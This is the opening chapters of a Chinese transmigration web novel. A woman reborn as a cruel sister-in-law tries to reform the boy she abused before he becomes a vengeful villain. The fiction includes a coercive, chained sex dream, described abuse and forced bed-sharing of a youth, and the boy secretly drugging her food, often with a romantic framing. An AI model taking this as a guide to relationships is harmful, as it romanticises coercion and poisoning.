《入骨欢》
第1章 做你的狗
“叫出来……”
倾盆大雨的屋中,沈木兮的双脚被铁链捆着,怎么挣扎也逃脱不掉。
三天三夜了,旁边的床已经散架,可男人还是不肯饶她!
“说,铜镜中正与你纠缠的人是谁?”
“沈木兮,你是我的,永远都是我的,是我谢景愿一个人的……”
……
雷电大作,沈木兮从床褥里惊醒,不是第一次梦到这场景了,但还是被惊出一身冷汗。
“谢家娘子!出事了,你家景愿出事了。”
隔壁邻居蔡大娘着急打着伞跑来,沈木兮不用多想也知道这是怎么了。
村口大树下,瘦弱的少年浑身湿透,缩在角落,因为营养不良他瘦得如同皮包骨,正被一群拿着火把的村民围住,朝着他狠戾的拳打脚踢。
可谁也想不到,就是这个偏远村落里任人可欺的男孩,居然是文中最可怕的疯批男二,也是今后的太子,最大反派!
而她,便是这一切的始作俑者!
小说里男二的兄长参军,死在了战场。
原主和男二兄长早有婚约,虽还没过门,但娘家说有婚书,即便没拜堂,她也是谢家人,把她丢给了谢家。
而谢家也不愿要两个拖油瓶,因此便把原主和年幼的男二,赶到了这遥远村落。
在这偏远地方,原主受人欺负。她便把这些火气撒在男二的身上。
撒着撒着,便把男二养成了疯批病娇。
不过沈木兮还没看到最后的结局,就穿书了。
她只知道,后来谢景愿在成为太子的第一夜,他狠辣大手一挥处**自己,还把她的尸体吊在城楼上风干了半个月。
但这些都没有那个一直纠缠着她的诡异梦境可怕!因为在文里,并没描写过两人的爱恨纠葛。
“谢娘子,你来得正好,他偷了村民家的东西,人证物证都在。有你在,乡亲们也就放心了!”老村长杵着拐杖说。
以前谢景愿出去惹是生非,不等旁人动手,原主就把他打得只剩下半口气。
书里写的,原主今夜不仅仅打了他,还把他丢进了猪圈里,和猪一起关了半个月。
出来后的谢景愿不再惹事,对她服服帖帖,但心理却从这时起,就悄然变得扭曲了。
沈木兮打了个冷战,心想难怪男二这么恨原主。活该的。
看着那在大雨里蜷缩着的身影,沈木兮知道,她想活命,就得改变男二的疯批进度,在他成为反派之前,将他掰正!
她可不想当城楼干尸。
眼见着谢景愿要被人抓起来,沈木兮赶紧冲了过去,抬手挡在他跟前。
这一举动,让现场的人脸色齐变!
看她的眼神渐冷和变得敌对。
“谢家娘子你这是什么意思?”
沈木兮被大雨淋透,扯着嗓子喊:“这件事算是家丑,我来处理就是了,雨这么大,各位都先回去吧,回去吧!”
村民显然不接受这个结果。
“这个小子天生恶毒,今日被抓个现行,要么给个说法,要么就打得他不敢再犯!不然我们谁也不走。”
“对!不走了!”
村民们咬准了要给谢景愿个好看
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沈木兮就是个穷B女大学生来的,不像旁的穿书人士,又是系统又是金手指的。
仅有个算是长处的,就是她的第六感贼灵!以前室友掉了东西,或迷路什么的,找她帮忙准没错。
所以在那日穿书来看到谢景愿的第一眼,她就知道,这个少年对自己的厌恶值,已是高达百分之九十!
可第六感再灵,也不能当饭吃的。
穿书来的这两日估计是没吃过饱饭,身子酸软无力,她昏迷了两天,此刻哪里对付得过这些五大三粗的村民。
被人一撂子给甩翻在地!
“打!把他打残了,就少了个祸害!”一人发话,四周人蜂拥上前。
其中一个大汉抄起一根手臂粗的木棍就朝谢景愿后背上砸去。
沈木兮心惊胆战。
这可砸不得。
砸了他,这村里的老老少少,今后怕是都得城楼半月游了!
原主造的孽原主来还,可不能殃及无辜。
“不要!”
她也不知哪里来的力气,飞扑过去,一把抱住大雨下缩成一坨的谢景愿。
同一时刻,那木棍正中她后脑勺!
疼痛感袭遍周身,沈木兮僵直地跌了下去。
所有人都呆住了。
“那是血吗!”
“完了,出人命了!”
被沈木兮护着的少年,那藏在晦暗世界里的一双瞳孔,终于有了点异动。但很快又恢复回到了他的阴暗世界里。
只听沈木兮忍不住大骂了句“靠……真不讲武德啊!”闷哼一声,陷入了浓浓的昏迷!
第2章 偷看他洗澡
等沈木兮醒来时,已经是次日晌午。
昨夜打了她的村民见情况不对,早就跑了,是隔壁蔡大娘把她扛了回来。
还连夜找来了村口给鸡鸭看病的汪老伯。
这伤是包扎好了,只是那一棍子下去,怎么都有点脑震荡。
沈木兮刚坐起身,就感觉有点头晕犯呕。
端药进来的蔡大娘,一瞅这场景,顿时止住脚步,等了好半晌才进来。
“谢娘子,来把药喝了吧。”蔡大娘看着她那捂住心口想吐的样子,神色诡异,想说什么,欲言又止,最后憋了半天,才磕磕绊绊道。
“我知道娘子这几年一个人不容易,家里没个男人,日子是难过。虽然在咱们这些乡野村落里,这样的事也不少,但……但娘子还是得注意一点。”
她瞅了眼外头,见无人,凑到沈木兮耳边继续嘀咕。
“上次的事,我就当没看到,娘子还是赶紧想清楚,断了这份心思吧。”
沈木兮本就头晕脑胀,说两句话就犯恶心,现在听得更是云里雾里。
“蔡大娘,你是不是误会了……”
蔡大娘捂住她的嘴,一脸我懂的表情:“不说了不说了。”
沈木兮:“您还是说吧。”她本身就脑仁疼,现在被搞得就跟脑浆散了一样。
蔡大娘笑得格外隐晦,对着她低语了句。
沈木兮脸色刷的一下红了,瞳孔紧缩。
竟还有这样的事?
这原主真不是个东西。
被风干成干尸,不冤!可是她冤枉呀!
沈木兮的头越发疼了,仿佛要炸开一般,自己上辈子也只就是个想当咸鱼的小青年,这是造了哪门子的孽?穿成了这样的败类!
那谢景愿怕是恨死她了。
看来自己这条保命之路,实在任重道远!
“等等。”她环顾四周。
他们孤儿寡嫂来到这乡野,她又是沈家最被忽略的女儿,嫁人后沈家就和她撇清了关系,穷苦潦倒的两人,就这样住在这间破烂草屋里好几年。
看了眼这家徒四壁,她这才想起,苏醒来后就没见着谢景愿的身影。
蔡大娘脸色一变,显然有所隐瞒。
“蔡大娘,我家景愿呢?”
蔡大娘叹口气。
沈木兮这才知道昨夜她晕死过去后,那些村民就把谢景愿送去了镇上的府衙。
“不过就是偷了几个村民的果子,送什么官府?”沈木兮顿时一脸正气的护起了自家犊子。
“哎呀,不是果子,是……哎……”
蔡大娘迟疑了下,还是说了。
原来村民是用“谋害”嫂嫂的罪名,把谢景愿送去府衙法办了!
听说人昨夜就被关进了府衙牢房!
沈木兮一听脑子都要崩裂了。
这小子会不会觉得是自己和村民故意演了一场戏,才把他送官的吧!
她顿觉后颈凉嗖嗖,好像人已经被挂了那京城城楼上风中摇摆……
但这些都不是她最担心的。
书里写有,原主娘家近日盼着把谢景愿这个拖累送走,好把她改嫁旁人。
那个人是当地镇上的一个有钱掌柜,五六十岁,是个喜欢在那些事情上折磨女人的老变态,上回在街上看过她一眼,见她长得不错,还是个风韵寡妇,就找去沈家说媒了。
若谢景愿被关去地牢的消息传到了沈家耳中,那她还不得立刻被押着,嫁给老头子!
沈木兮已经等不及要去救人了!
蔡大娘忙拉着她:“谢娘子,你怎么救,这府衙可不是闲杂人等能去的地方。”
沈木兮顿住脚步。
这倒是个问题,在这离京百里外的偏远山村,她是个寡妇,又没银钱,怎么从衙门里捞人?
沈木兮摸着下巴想了想:“没事,我想法子就是了。”
她穿上衣服,随意挽了个发髻,风风火火的就去了。<
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br>镇上离她住的村子不远,也就三里地。
但牛车太慢,沈木兮到了的时候,天色已经渐暗了。
虽然她就是暂时没背景没本事的小寡妇,但寡妇门前是非多的呀。这是非多,路子就多。
……
“是他吗?”
夜时的府衙地牢,衙役指了指牢房里蜷缩着的瘦弱少年身影。
跟进来的沈木兮探头看了眼,衙役大哥点头如捣蒜:“是他是他。”
衙役掂了掂手里沈木兮塞来的荷包,满意地笑了笑,朝着里面喊了句。
“谢景愿!你嫂嫂来带你回去了。这件事她已经重新向知县禀明,是她自己摔了头,你当时只是扶她了一把。好了,你可以走了。”
但里面的少年却不为所动。
沈木兮尴尬笑笑,走了进去,温声道。
“景愿,走了。”
谢景愿还是缩着不动,面对眼前女人这故作温柔的腔调,他一点也不想多作理会,只觉得恶心。
但却还是偷偷往她的方向看了眼。
前夜他在饭菜里加了点东西,可惜只让她昏沉了几日,现在看着她那副好端端,还在人前显然“装”出来的温和姿态,眉心一蹙,心想下次他一定再多加点料。
后面的衙役没什么耐心了,本来处理这些村民的琐事就捞不了多少油水,大晚上的也不消停。
沈木兮怕招惹事,声音一厉:“赶紧起来。再不起,今天晚上就给我睡猪圈去!”
本来只是在那个衙役跟前做做样子,未想谢景愿当真站起了身。
他身形瘦弱,但站着却比沈木兮高了一个头。
眼前少年浑身是伤,嘴角还有一团乌青,正垂着头,细长眼尾泛着一缕红光,像是受了极大委屈,却迫于面前恶毒女人的威压不敢反抗的乖巧样子:“我错了,我跟嫂嫂回去。”
沈木兮心里啧了声。
这孩子原来喜欢吃硬的?
第3章 我好冷……
夜黑风高,两人一前一后出了府衙。
谢景愿一向不挨着沈木兮,既是不敢,也是不愿,始终这样带着对她的戒备和讨厌,一直埋头走在后头。
沈木兮脑仁还疼着呢,今夜为了救人,她去找村里的人借了不少银钱打点。
现在自己都吃不饱,还欠了一屁股债,更没精神气儿去疏导身后少年的心理健康。
从后门绕出府衙院子时,那里正站着一个高大健硕的男人。
她步子一停,想起什么,回头对谢景愿说:“景愿,你先在这等我。”
谢景愿没说话,若是没必要,他绝对不会主动对沈木兮多说一句话。
只是在沈木兮绕出偏门时,他的那乱发遮掩着的眸子还是跟着动了动。
“二壮哥,谢谢你啊,今夜若没你帮忙,我也带不走我家景愿。”在哪里都是要门道的,就算有银子,没个熟人也救不了人。
那男人生得一张憨厚老实的脸,转过身,撞向女子那张娇美可人,又带着些病白的小脸,微微一怔后,顿时红了脸。
沈木兮虽是个寡妇,但是正经京中小姐出身,即便穿着一身粗布衣服,也难以遮掩她的风韵。
乔二壮挠着头说:“说这些,我们都是乡里乡亲的,景愿也不是坏孩子。”
那倒是实话,好歹是遗留在外的太子,往日偷果子也都是因为被原主饿着了才不得已。
到底是这狠心寡嫂造的孽。
沈木兮莫名觉得身上担子又重了些。
这乔二壮是同乡人,就住在村头,沈木兮被赶来这后,他平日里没少帮忙。
像沈木兮这样年轻又貌美的小寡妇,在这村里,是个男人都得侧目。
往日里在她跟前晃荡的男人也不少。
但这二壮却是个少见的老实人,除了帮她外,从没旁的心思。
沈木兮乐呵呵地说:“明日我做点馒头给二壮哥送去。”
乔二壮受宠若惊,以前的沈木兮傲娇的很,自诩小姐出身,瞧不起村里的所有男人,更不会多和他说话。
可今日的她,好像是哪里变了,但他一时半会儿也说不上来。
只是她笑起来时,眼睛里好像全部是星星。
乔二壮的脸更红了:“啊?这会不会太麻烦了?”
沈木兮赶忙说:“哪里哪里,要送的。”
她一个人生地不熟的,好不容易有个现成的大腿,可得抱紧点。
这人生在世,除了生死都是小事,她名声反正也都臭了,为了活,厚脸皮又怎么。
“二壮哥过两日在家吗,想麻烦点事,那个,我家屋顶坏了……”
“嫂嫂。”
两人正说着话,一道幽若的声音从沈木兮耳后飘来……
她转头,正对上黑夜下少年那半抬起,不带半点人气儿的眼瞳,一时间差点以为自己撞了鬼!
因为挨得太近了,他的鼻息就在她的眉心处。
沈木兮莫名的有些不自在。
她咳嗽一声,皱眉说:“不是让你在那等着我吗?”
还有,他往日都不爱主动和她说话。
就算说话,也不会轻易唤她嫂嫂……
少年垂头站着,像一只没人要的哈巴狗,清冷又寡瘦的脸,衬着他眼角湿红,可怜得很:“我饿。”
果真是文中最美强惨男二,对女主爱而不得,瞧这破碎感,勾得人心都要碎了。
沈木兮想着“自己”以前作的孽,便只能放弃和大腿“联络”感情的机会,对乔二壮又说了几句感谢,带着谢景愿坐牛车回到了村里。
……
这一夜没把她折腾得够呛,沈木兮回去后把之前仅存的剩菜给谢景愿随意热了热,倒头准备睡
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上一觉。
许是自己今日去冒险救了他,谢景愿虽然还是不愿和她亲近,但比她想象中听话了些,乖乖吃了菜就去刷碗,没再生事。
沈木兮心想,继续这样下去,或许离掰正男二之路,也不远了。
只有男二改邪归正,她才能活活下去,才能不用嫁给老男人。
运气好的话,没准还能混个皇亲国戚当当呢。
不过现在重要不是这个,是怎么在这个地方生存下去。
别还没有到被男二弄死,就穷死在这。
乔二壮是个好人,平日里帮点忙也就算了,哪能真赖上人家。
还是得自己想法子才是。
她除了第六感灵外,唯一还算个优点的,那就是做菜凑合。可现在连菜都买不起,还做饭呢。
早知道要穿书,该去多学点技能了!
什么格斗散打、医术毒术……哪像现在这样,一身是伤,还饿得前胸贴后背。
沈木兮在这头为了生计焦头烂额,全然没注意自己在这木板床上沉思时,几步之外的门边,那走过来,又走过去的少年。
更没有注意外面木桶边,时而响起的“诡异”水花声,翻涌起伏,一阵高过一阵。
奈何沈木兮专注在自己的世界里,也没有在意这些动静。后面水花声太大,她嫌吵,还直接把枕头盖在了脑袋上。
浑然不觉外面陡然安静后,那道湿漉漉的身影,正背着夜色出现在了屋门前,哑声地开口:“嫂嫂,没热水了,我……好冷。”
沈木兮心说寡嫂真不好当,这回来刚喘口气呢。
她一个鲤鱼打挺起了身,耐着性子问。
“什么热水啊——”
话到嘴边,登时升了八个调!
“你、你怎么没穿衣服!!”
沈木兮赶紧背过身去!脸顿时烧成一片!
第4章 第一次给他铺床
她转得太快,没看到门口少年幽眸里生出了不解和困惑。
风一吹,他皱了皱眉,又变回了往日的自卑和冷漠,连方才映在他身上的月光,也缩回了云层里。
可沈木兮转得再及时,身后少年那精干的身形,还是烙入了她的眼里!
她脸颊再次滚烫,赶紧扯了一件衣服给少年罩上,然后溜出了屋子!
半晌后,整理好情绪的沈木兮重新回来铺好了床。
其实也不是床,就是几块木板凑的。
她把原先的床拆成两半,放在屋子各一角,中间还用道帘子隔开。
见谢景愿走了过来,她说:“瞧,给你弄好了,今后啊,我们就一人睡一张床,你睡那边。”
该死的原主,做的都不是人事!谢景愿都这么大了,竟然还让他和她睡在一块儿。
若是谢景愿不肯,就被她丢去外头。有时候还要遭受毒打,直到他肯上她的床为止!
这般成长下来,是个人都得疯。
也难怪男二会被养成那样的疯批性子了。
看着被沈木兮铺得干净整洁的小床,谢景愿步子微顿。
他其实不是谢家真正的孩子,是被人从外抱回来的,谢家人都知道他的身世。他就这样在谢家子弟的偏见和欺负中长大,从小没过什么好日子。
这是第一次,有人给他铺床。
沈木兮见他不说话,抬头看来,不想面前的少年也正看着她。
谢景愿的眼神惊讶且错愕,但更多的是不明所以。
像是在心中暗暗思考,她给自己一颗甜枣后,他会不会又遭受更凶狠的毒打?好满足她那残忍又恶心的私欲心。
只是他没想到沈木兮会在这时一起抬头,两人对视,还在沉思的谢景愿登时呆住了。
往日的沈木兮趾高气扬,自持清高。又因着失了丈夫,被娘家赶到这地方,人也逐渐变得有些小疯癫,有些时候连头发都没梳。
此刻刚洗净的沈木兮,小脸柔柔的,面颊肌肤白皙剔透,柔和烛光下睫羽轻颤,是少见的平静安和。
突然静下来的破屋子里,两个人就这样大眼瞪小眼的对视。
少年的眸光还是那样胆怯又冷漠,带着戒备,可不知为何,对视了一瞬后,少年的耳根子肉眼可见的
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红了起来,喉结微微下滑。
在沈木兮要开口前,谢景愿抱起被褥就快速走了出去。
“不用了,我不习惯睡床。”
声音还未落呢,他的人已先闪出了屋子。
等沈木兮反应过来,顺着窗子往外看去时,他早就钻进了屋外的草棚里。
这是多讨厌她,找到个机会,就不想和她共处一室?
沈木兮无奈叹气,一股困意袭来,她也钻进了被窝,其他的事等睡个饱觉起来再说吧。
可能是头上的伤未好,这一夜,沈木兮睡得很不好。
一会儿觉得有什么人在床边偷偷看着自己,一会儿又觉得有人探进了被褥,那灼热的气息,从她脖子滑到了腰,再到脚底心……直叫人发毛!
可一睁眼,四周除了那家徒四壁,啥也没有。
终于熬过了一夜,直到天明破晓,她才算真正睡熟了去。
刚翻身的功夫,她突然觉得有什么不对劲,好像真的有什么东西,正在朝着被子下伸来……她一把摸去,带着温度,还硬硬的!
被一整夜的噩梦支配的沈木兮,陡然睁眼!
第5章 把他卖了
沈木兮一把抓住对方,抬头定睛一看,待看清伸进被褥的手臂主人那张青涩未退的少年面庞,她双眼错愕。
少年亦是满脸惊诧。
他只是想给她盖下被子。
可沈木兮不给他解释机会,脸上就生出了怒火。
“你在做什么!”
原主的心是被狗吃了吗?不,是狗都不吃!
看看把男二教成了什么样?
“出去,出去站着。知道哪里错了,再进来见我!”
沈木兮指着门,别过头不看他,一张小脸被气得格外的红……
谢景愿缩回了手,双眼噙着暗光,不屑于解释。
看着沈木兮别开脸的冷漠样子,已经猜到她那别开的眼眸里是装着对他怎样的厌恶。
才装了两日,就装不下去了吗?
他毫不意外,双唇微抿,一语未发地退了出去。
他一走,沈木兮像是终于喘口气了,拍着心跳不止的心口!
她也不想这么凶,但该罚的时候必须罚,一定要让他知道什么是错事,什么又是不该做的!
确定他走了,她才摸着下了床。
刚动作她便觉得哪里不对劲。
床板摇摇晃晃,她才动一下,就听咔嚓一声,好好的床,顿时成了两半!
这床是昨夜她现搭的,当时搭得急,也没仔细检查。
现在凑近一看,才知道原是床上的木板被下面的砖头顶歪了,这才不稳当。
若非她方才及时稳住,估计得和这木板一起“碎”开!
而碰巧歪掉的这个位置,正是方才谢景愿的手伸过来的地方……
一个念头从脑海中冒出!
他不会只是想帮她吧……
除了这个原因还有什么?不然他还是想故意加剧,想让她摔死不成?
沈木兮一想起他被自己呵斥出去时,那副咬唇隐忍,眼里尽显幽怨和倔强的样子,心里咯噔一声。
她赶忙追了出去。
可外面已经没了谢景愿的身影,沈木兮这下是真有点着急了。
本是想把男二引回正道,今后她也能跟着吃香的喝辣的。可别再被她害得越来越自闭。
“谢娘子,你在这啊!”
正打算去村子里再寻寻,突然出现的蔡大娘叫住了她!
“找你好久了,赶紧赶紧,有大好事呢。”
蔡大娘是地道的村里农妇,生了五个儿子,听说生老五的当天还在地里头干活呢。这手劲儿大的,沈木兮的小胳膊小细腿在她这根本就挣脱不了。
也亏得蔡大娘身子健硕,不然那夜也不能把被打脑袋半死不活的沈木兮,从村口里拖回来。
“什么正事?”沈木兮眼神焦急地看着四周,她不好意思说方才“床上”的糗事,只磕磕绊绊地道,“我正在找景愿呢,蔡大娘,有什么我们等会儿再……”
“哎呀,你家景愿又不是小孩了,还能丢了?你上回不是说,让我帮你找找赚钱的门道吗。这不,你给我的那些绣工都被卖掉了,还碰巧被镇上的李掌柜见过
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,人家这就专门派人来了。”
沈木兮是给蔡大娘提过,现在她也的确在为生计发愁。
为了把谢景愿从府衙弄出来,她欠了不少银钱。若是真有门道,不去看看,她和谢景愿再挺个几日,怕是还没喝西北风,就被要账的人给上门打**。
她又看了眼四周,迟疑道:“可是蔡大娘,你能不能等等,我再去找找我家景愿……”
“嗨呀,别担心,我待会儿帮你找。这样的好事,错过了可就没了。人家就在村口等着你呢!”
沈木兮再次犹疑了一下,回想着家里的见底的米缸,最后一咬牙,点了点头:“那蔡大娘在村里若看到了我家景愿,劳烦大娘告诉他,让他回家等着我,我出去一会儿就回来。”
“好勒好勒!”蔡大娘捂唇偷笑,“才一会儿没瞧见人,看把你想的。”
呃,大娘你真是想多了。
“不过上回我给你说的话,你可得放在心上,村里的其他人可没我这么开明的。”
沈木兮被蔡大娘的眼神看得背皮发麻,讪讪一笑,赶紧跑了。
她跑走后,村头树影下如幽魂般闪出一道少年身影。
隔得远,他没怎么听清两人的对话,只听到了什么“景愿……卖掉……好事”之类的字眼。
单薄的少年站着风里,双眼看似无害又空洞洞的。回想着昨夜的小床,他眉心古怪蹙了良久。
尔后缓缓低下头,重新捏紧了手里昨夜原本要丢了的半包**。
第6章 “孩子”离不开她
蔡大娘说的那李掌柜是做布匹生意的,近日要在镇上开一个绣活店。
原主的绣活是不错,被顺利相中后,便让她跟着去一趟。
可原主会绣东西,她不会啊。
但能有机会,总比在家坐吃山空的好。
沈木兮还是想去看一看。
不会绣东西,换个其他的活儿也成。
这个李掌柜倒是个不错的,竟还派人马车来接她。
一个老嬷嬷停在马车边,发皱耷拉着的眼皮掀起,横一眼打量了她一番后,丢来一身干净衣服。
“沈木兮是吧?待会儿到地方,先把这身衣服换上。”
这地方虽然离京城远,但镇上的有钱人家并不算少,她这一身粗布衣服前去是无法见人。
沈木兮没多想,抱着衣服点头:“要的要的。”
伸手不打笑脸人,装乖点总没错。
马车徐徐来到了城镇上。
这地方叫江州,虽说地处偏远,但却十分热闹,连街道两边的铺子也数不胜数。
除了因为这地方风景宜人,来此郊游观赏的人不少。
还因着在那后面的群山里面,有一片大的猎林。
京中的贵公子,时常会来往这里狩猎,一住就是大半个月。自然也带动了当地的百姓经济。
听说近日又来了什么京中的贵人。
沈木兮只想赶紧找个活儿做,没心思去欣赏江州美景,更没心情去打听是来了哪位高门公子。她换了衣服,便由着那个老嬷嬷带着进了当地最好的酒楼。
走进酒楼的一瞬间,她步子微微顿住了。
先前又是马车,又是换衣服的,她都没去在意,可现在却觉出了有些不妥。
不过是招个绣娘,得来这样奢华的地方吗?
沈木兮的背心突然有些发凉,直觉告诉她,今日这事有端倪。
她的第六感从不骗人。
那老嬷嬷已经在催了:“赶紧啊,这样赚钱的门道,可不多了。”
心中开始打鼓,沈木兮脸上依旧秉持着微笑。
都到了人家地盘上,跑怕是也跑不了的,还是先装傻充楞,见机行事吧。
“好勒,这就进来了。”
她前脚刚进去,后头对面的巷子里,和巷里黑暗融为一体的少年,抬起阴冷又带着几分邪气的双眼。
‘赚钱的门道……’
她果真是要把他卖了。
谢景愿丢了手里的纸包。
这药粉吃不**,他要去重新换一个更‘烈’的。
同一时刻,进去的沈木兮蓦地感觉脖颈上一阵阵发麻,这种直觉太
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熟悉了,自打她来了这个世界,每次对上谢景愿的眼神时,就是这种滋味。
比以往任何的第六感,都要强烈。
就好像,她这出奇敏锐的直觉,就是因此而生……
沈木兮回头一看,外面没什么古怪,独独那对巷里,散发着一股对她浓烈厌恶的气息。
别人感觉不到,可她却清楚的‘嗅’到了。
沈木兮定睛一看,抓到那抹一闪而过的熟悉身影,她微愣后一挑眉,禁不住笑了。
明着是讨厌她,连共处一室都不愿意。实则却是离不开的么?
连进镇这么远的路也偷偷跟来了。
沈木兮越发有信心,她坚信,等不久之后,就可以看到谢景愿丢下故往的一切阴暗冷漠,乖巧在自己跟前,真切地唤她嫂嫂的样子。
指不定,今后他还能感化文中女主。
若是有了女主的关怀和细心陪伴,或许他的人生轨迹就更会不一样了。
……
转头后,沈木兮被老嬷嬷带去了三楼,走到楼梯口,老嬷嬷就指着前面的一个雅间,意思是让她自己去。
沈木兮眼眸闪了闪,瞥着已经悄然退后的老嬷嬷,应声跟着去了。
“李掌柜,我可以进来了吗?”
“进来吧!”
第7章 改嫁
是个男人的声音。
但声音显然是在故作低沉,反而像是装出来的五六十岁。
沈木兮心中有了数,在推门时,留了个心眼,往旁侧去了一步。
里面的男人见门前只有声音不见影子,忍不住走了过来。
在他往门外探出的瞬间,沈木兮伸出腿往前一绊!
这男人未有所觉,脚下落空,身子一个前扑!
因为生得太肥头大耳,跌下去的时候身上的横肉还跟着抖了好几抖,惨叫一声,最后像是只倒了壳的乌龟仰在地上,四仰八叉,挣扎几下也没爬起来。
沈木兮手疾眼快,上前架住男人!
该说不说,原主在乡下这几年,人是魔怔了点,可养了一身厚皮,今日出门前还吃了些蔡大娘送来的油饼,有了些力气。虽然比不上蔡大娘,但对付这个走路都喘的家伙是够了。
男人应声大叫,抬起他那张满是肥肉却又十分年轻的脸,对着沈木兮大骂:“沈木兮你个赔钱货!是疯了不成!”
看清他那张年纪轻轻,和李掌柜完全不相符的脸,沈木兮心说果真是个冒牌货。
不知道对方要做什么,但总归不会是什么好事就是了。
她踩住他的手,正想逼问对方目的。
里面传出一道中年妇人的声音。
“住手!”
那妇人穿着一身金贵衣服,一身珠钗玉环,但那双眼睛却是狠辣的很,狠狠瞪着沈木兮,像是在看一个仇人。
“大婶你谁?”沈木兮问。
“赔钱货!装什么装?你娘!”
怎么还骂人呢。
这封建王朝里的坏人都这么明目张胆和猖獗吗?
“娘,我早说了,就该把这女人捆起来直接嫁到李家!”
“你看她!疼死我了,娘,你可要为我做主啊!”
“哎哟我的宝贝儿子……”妇人心疼地看着儿子,再抬头看向沈木兮时,又是恨得牙痒痒。
沈木兮后知后觉,才从对方的对话中明白了什么。
这莫不就是原主的狠心娘家人?
书里淡淡提过几句,沈家在京经商,家中有五个儿女,眼前这个肥得都要走不道的年轻男子,应该就是原主的废物大哥。
她在书里,是沈家最不受宠的女儿,排第三。除了自己,家里的其他兄弟姐妹,都被家里宠着惯着,连家里的看门狗都被养成了猪。
沈木兮能被嫁去谢家,也是因着沈家贪图谢家在京的地位和丰厚聘礼。
后来谢家出事,她和谢景愿走投无路,不得已来到乡下。沈家怕招惹事情,愣是一点也不管她的死活,从未想过帮衬一二。
还是前段时间,因着她被变态老掌柜看上的事,才破天荒的传了信来。
原主虽是个被生活压迫的疯癫女人,但人可不傻,加上原主心气儿高,一直想再嫁给高门,对于沈家送来的信一直置之不理。
沈家也是等不及了,才亲自过来的。
沈木兮放开大哥沈庚,皱眉抱胸站在一边。
书里对原主原生家庭的描写不多,现在看到眼前场景。
她突然有点心疼原主三秒钟。
但也仅仅是三秒。
毕竟原主对谢景愿的所作所为,也不是省油的灯。
林氏废了老大劲儿才搀扶起沈庚,许久不见自己这个赔钱货女儿,上次见她,沈木兮还一脸脏污,模样疯癫,今日看着她这身干净打扮,倒像是换了个人,连眼神也清明了许多。
心中猜测莫不是在乡下有了男人傍身,所以才不肯嫁人?
看来硬的是不行了。
林氏顿时换了一副笑脸,上前握住沈木兮的手:“木兮啊,娘也是心疼你啊,你在这乡下吃苦受累,若是能嫁去有钱人家,就算是个妾室,也比在这好啊。”
“那李掌柜人是老了点,但家底丰厚,还有亲戚在京里当大官呢。以后你去,那就是享不尽的荣华!”
沈木兮听着她眼也不眨的放屁,心说当真是上梁不正下梁歪,难怪能把原主教成这副德行。
“娘,既然他这么好,要不你和我爹和离,嫁过去正好当大夫人,我还能当个小姐,咱们母女俩强
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强联合,全权接管李家产业,不是更好?”
林氏一愣,她吗?
可以吗?
她摸着自己的老脸,那微微转动的眼珠儿,显然是有一瞬在认真思考这件事。
还是旁边的沈庚咳嗽了声,林氏才回过神来,嗔怪地道。
“胡说什么呢?娘多大岁数了。再说了,人家看上的是你,可是指名点姓要娶你过门的。”
林庚捂住摔肿的额头,从鼻孔里哼气:“沈木兮,人家聘礼都送到了沈家,待会儿李家人就来了。你嫁也得嫁,不嫁也得嫁。”
难怪让她先换衣服,这是想直接把她送去李家了!
沈木兮一脸淡定,耸肩说。
“那就让四妹妹和五妹妹挑一个嫁过去呗,反正娘都说了,人家条件这么好,妹妹们一定不会吃亏。”
“我作为大姐,怎能占了妹妹们的便宜?要不得要不得。”她皱眉忙摆手。
“……”
林氏被气得心头突突!
以往的沈木兮虽然也嘴皮子利索,但可没今日这般胆子,她越发认定沈木兮有了男人当靠山!
“娘,这天也聊完了,还有事吗?没事我可就走了。”沈木兮拍拍身上的灰土,站起身。
沈庚跟个肉球似的冲了出来,原本还想拦着,可沈木兮一瞥来,他就想起这女人方才发疯的样子,被生生吓了回去,缩在林氏身后。
“娘,怎么办?咱们都和李家说好了,那李家在京里有关系,咱们若是不嫁个人过去,四妹五妹怕是真要遭殃了……”
林氏对此早有预料。
“放心吧,娘另有法子!原本还想不那么无情,可现在是她逼我们的。这次保准让这她乖乖嫁去李家!”
沈木兮出了酒楼,摸着下巴,眉心紧皱。
先前原主没有被沈家逼着嫁人,便是因为还有个“拖油瓶”,可今日沈家人这样找上门,甚至想让她直接换了衣服就被送去李家。显然都是忽略了谢景愿的存在。
这是为什么?
强烈的第六感告诉她,要出事了……
第8章 把你给我了
沈木兮离开酒楼后,赶忙去了对面的巷口。
可是这里已经早已没了谢景愿的身影。
印象里,原主一直关着他不许他随意出门,连学堂也不让上,谢景愿对江州当是不熟的。
心里那种不好的预感越发强烈,沈木兮紧着便去寻了。
途径这条巷子外的商铺,她都去一一问过,只知道有个和他大概模样的少年,说是朝着镇上的东边去了。
可具体去了哪个方向,谁也不知道。
江州镇上说大不算太大,但也不小,这样寻下去,可得寻到何时去?
也是运气好,沈木兮刚绕出街头,就遇到了出门巡街的乔二壮。
“谢家娘子,你怎么在这?”穿着一身衙役衣服的乔二壮带着人走了过来,他现在已经是官府的衙役小领班,也算是镇上有头脸的人。
那身形健硕,大步朝着她走来的样子,那就是四个字——令人心安!
沈木兮犹如见到救星,上前忙说了原委。
她今日穿着一身干净衣服,头发也重新束好,不像往日乱糟糟的,比起那夜在衙门所见,气质更显温婉,也更吸人眼球。
乔二壮看了一眼就移不开视线了。
听说是景愿在街上丢了,乔二壮的脸色顿时严肃起来:“放心,江州城的百姓出事,就是官府的事,我帮你去寻。”
沈木兮感激谢过,但一点也不敢停,也跟着继续找了起来。
无人所见,隔壁街上的一间狭小的药铺里,一道少年身影正从里面拐了出来。
他捏着手里崭新的药包,闷头往另一个方向走了去。
刚走没几步,街道口闪出几道身影,横在前头挡住了他的路。
“谢景愿,你嫂嫂在找你呢,让你跟我们走!”
谢景愿的步子停下,抬起平静的脸。
若忽略他的瘦削单薄,这张脸生得当真好,在乡下那么被沈木兮各种糟蹋,洗干净后也能如此的白净细嫩,只是那一双眼睛黑渗渗的,散发着不属于他这个年龄的阴暗幽光。
对面出现的几个大汉,被他眼里的空洞洞和幽暗给看得怔住,忍不住咽了口唾沫。
只觉这个男孩阴得很。
披着单薄又漂亮的外表,但却不像是个人!
奈何他年轻尚小,气势不足。
这些被
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吓住的大汉脸上很快又覆满厉色!
“赶紧吧!你这小胳膊小腿的,别逼我们对你出手!”
谢景愿一直默不作声盯着这几个人,那张像是精致木偶人的脸终于有了变化,他开口问:“是沈木兮让你们带我走的吗?”
大汉拍着胸脯点头!
“那是当然,没有她点头,我能带你走吗?瞧,这不就是她写下的名字?”
他掏出一张纸。
纸上白纸黑字一堆,但最明显的还是下面的落款‘沈木兮’三个字。
谢景愿低垂下头:“好,我跟你们走。”
几人未想这孩子如此好骗,大汉上前搭上他的肩头。
